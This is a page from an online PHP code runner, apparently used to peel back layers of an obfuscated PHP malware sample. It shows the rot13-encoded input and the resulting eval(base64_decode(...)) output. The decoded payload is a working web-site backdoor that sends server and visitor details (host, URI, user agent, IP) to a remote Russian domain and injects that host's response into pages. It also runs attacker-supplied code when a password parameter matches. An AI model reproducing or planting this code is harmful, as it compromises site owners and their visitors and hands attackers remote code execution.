3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php //###==### error_reporting(0); $strings = "as";$strings .= "sert"; $strings = str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUgcMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFyxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGgcMvtunKAmMKDbWTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy0cXKgcMvujpzIaK21uqTAbXPVuYvS1VvkznJkyK2qyqS9wo250MJ50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFy7WTZjCFWIIRLgBPV7sJIfp2I7WTZjCFW3nJ5xo3qmYGRlAGRvB319MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcrlEwZG1wqKWfK2yhnKDbVzu0qUN6Yl9crTAipzHhpaHiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv4xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVzHkZQLmZQH3AGRkBGWzMQLjZGL0A2IzLwL1ATH4AQx0Vv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB2A1pzksp2I0o3O0XPEwZFj0ZvkzLJkmMFx7L3IloS9mMKEipUDbWTZkYQR5BGRmYUElqJHcBlEcLaLtCFNtL3IloS9yrTIwXPEwZFx7L3IloS9woT9mMFtxLmRcB31yoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvx9CGRcrlEcLaLtCFOznJkyK2qyqS9wo250MJ50pltvnUE0pQbiY2y4L29lMF5lqF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvMGRjAwZjAGp1ZGR5ZzMxAwNkAwD3MJMvAwH0MGt0BGDvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7sFOcMvNbnKAmMKDbWTyvqvxcVUftMJAbolNxnJW2BlO9VTyzXTymp2I0XPEsHxIEIHIGISfvpPWqXFNzWvNxK1WSHIISH1EoVaNvKFN9CFNvAwZ0ZGOvLGHvXFO7VROup3AypaDbWS9FEISIEIAHJlWwVy0cBlO9sD=="));'); echo $strings; //###==### ?>
based on 2pNE5
Output for 5.3.17 - 7.3.1
eval(base64_decode("aWYgKGlzc2V0KCRpYnYpKSB7IGVjaG8gJGlidjsgfSBlbHNlIHtpZighZW1wdHkoJF9DT09LSUVbImNsaWVudF9jaGVjayJdKSlkaWUoJF9DT09LSUVbImNsaWVudF9jaGVjayJdKTtpZighaXNzZXQoJGNfWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl0pKXtpZihwcmVnX21hdGNoKCIhLiF1IixmaWxlX2dldF9jb250ZW50cygkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKSl7JGMwPSJVVEYtOCI7fWVsc2V7JGMwPSJ3aW5kb3dzLTEyNTEiO319ZWxzZXskYzA9JGNfWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl07fWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpeyRjMT1jdXJsX2luaXQoImh0dHA6Ly9peGNvcmUucnUvZ2V0LnBocD9kPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iJnU9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKS4iJmM9Ii4kYzAuIiZpPTEmaXA9Ii4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iJmg9Ii5tZDUoImUxMDYzMDU3NTExOTJmZDYwMTY0N2VmYjY1NGU4NDk0Ii4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXS4kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0uJGMwLiIxIikpO2N1cmxfc2V0b3B0KCRjMSw0MixmYWxzZSk7Y3VybF9zZXRvcHQoJGMxLDE5OTEzLHRydWUpOyRpYnYgPSAgY3VybF9leGVjKCRjMSk7Y3VybF9jbG9zZSgkYzEpO31lbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIik9PTEpeyRpYnYgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2l4Y29yZS5ydS9nZXQucGhwP2Q9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiImdT0iLnVybGVuY29kZSgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pLiImYz0iLiRjMC4iJmk9MSZpcD0iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiImaD0iLm1kNSgiZTEwNjMwNTc1MTE5MmZkNjAxNjQ3ZWZiNjU0ZTg0OTQiLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLiRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXS4kYzAuIjEiKSk7fSBpZiAoaXNzZXQoJGlidikpIHsgZWNobyAkaWJ2OyB9IGlmKGlzc2V0KCRfUkVRVUVTVFsicCJdKSAmJiAkX1JFUVVFU1RbInAiXSA9PSAiNjM0MTBiYTUiKSB7IEBhc3NlcnQoJF9SRVFVRVNUWyJjIl0pOyB9fQ=="));